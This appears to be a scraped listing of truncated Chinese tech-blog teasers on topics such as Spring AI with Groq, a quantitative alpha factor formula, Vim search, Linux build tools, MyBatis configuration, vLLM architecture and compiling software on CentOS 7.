Spring AI 与 Groq 的深度集成:解锁高效 AI 推理新体验 前言 在人工智能飞速发展的当下,AI 推理的效率和性能成为开发者关注的焦点。Groq 作为一款基于 LPU™ 的超快速 AI 推理引擎,凭借其强大的性能,能够支持各类 AI 模型&…...
101alpha---第10
rank(((0 < ts_arg_min(ts_delta(close, 1), 4)) ? ts_delta(close, 1) : ((ts_arg_max(ts_delta(close, 1), 4) < 0) ? ts_delta(close, 1) : (-1 * ts_delta(close, 1))))) alpha 那么我们来看具体含义 吧 rank(((0 < ts_arg_min(ts_delta(close, 1), 4)) ? …...
vim中的查找
在 Vim 中,使用 n 键可以按正向(向下)继续查找下一个匹配项。若要反向(向上)查找,可以使用以下方法: 1. 使用 N 键反向查找 在查找命令(如 /keyword)后,按下…...
什么是IP专线?企业数字化转型的关键网络基础设施
为什么企业需要IP专线? 在当今数字化浪潮席卷全球的背景下,企业网络需求正经历着前所未有的变革。传统网络架构已难以满足现代企业对高效、安全、灵活网络服务的需求,IP专线正是在这一背景下应运而生的关键网络解决方案。 专线服务本质上是…...
Linux环境基础开发工具的使用(yum、vim、gcc、g++、gdb、make/Makefile)
目录 Linux软件包管理器 - yum Linux下载软件的方式 认识yum 查找软件包 安装软件包 如何实现本地机器和云服务器之间的文件互传 卸载软件 Linux编辑器 - vim vim的基本概念 vim下各模式的切换 vim命令模式各命令汇总 vim底行模式各命令汇总 Linux编译器 - gcc/g …...
5.11 - 5.12 JDBC+Mybatis+StringBoot项目配置文件
JDBC: 预编译SQL优点:安全,性能更高。 在cmd里面输入java-jar就可以运行jar包。 Mybatis: 持久层框架。用于简化JDBC的开发。 数据库连接池里面放置的是一个一个Connection连接对象。(连接池中的连接可以复用&#…...
判断一个数组有没有重复值
要判断一个数组是否包含重复值,你可以使用多种方法。以下是一些常用的方法: 方法 1:使用 Set Set 是一种集合数据结构,它只存储唯一的值。因此,你可以将数组转换为 Set,然后比较 Set 的大小与数组的长度。…...
51c大模型~合集127
我自己的原文哦~ https://blog.51cto.com/whaosoft/13905076 #Executor-Workers架构 图解Vllm V1系列2 本文详细介绍了vllm v1的Executor-Workers架构,包括Executor的四种类型(mp、ray、uni、external_launcher)及其适用场景ÿ…...
Spring急速入门
Spring 是 企业级开发的一站式框架,核心是 IOC(控制反转) 和 AOP(面向切面编程) 一、Spring 核心:IOC 理论 1. 什么是 IOC? IOC(Inversion of Control,控制反转&…...
#在 CentOS 7 中手动编译安装软件操作及原理
在 CentOS 7 中,手动编译安装软件(即从源代码编译安装)是一种高度灵活的方式,适用于需要定制化软件功能、优化性能或安装官方仓库未提供的软件版本的场景。以下是针对手动编译安装的详细说明,包括原理、步骤、注意事项…...